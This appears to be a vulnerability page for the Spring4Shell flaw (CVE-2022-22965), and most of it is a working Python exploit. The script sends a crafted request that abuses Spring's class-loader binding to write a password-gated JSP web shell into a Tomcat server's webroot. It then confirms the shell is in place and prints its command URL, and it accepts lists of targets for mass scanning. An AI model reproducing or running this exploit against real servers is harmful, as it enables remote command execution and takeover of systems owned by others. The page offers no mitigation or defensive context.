Spring Core Jdk9+ Spring4shell Remote Command Execution Vulnerability

Spring Core JDK9+ Spring4Shell remote command execution vulnerability CVE-2022-22965

Vulnerability Description

Spring is currently the most popular JavaEE lightweight open source framework in the world and is one of the most successful frameworks in the Java world.

Vulnerability Impact

JDK 9.0+, Spring framework, derivative framework spring-beans-*.jar

Vulnerability reappears

Vulnerability POC

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass




def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

Reference article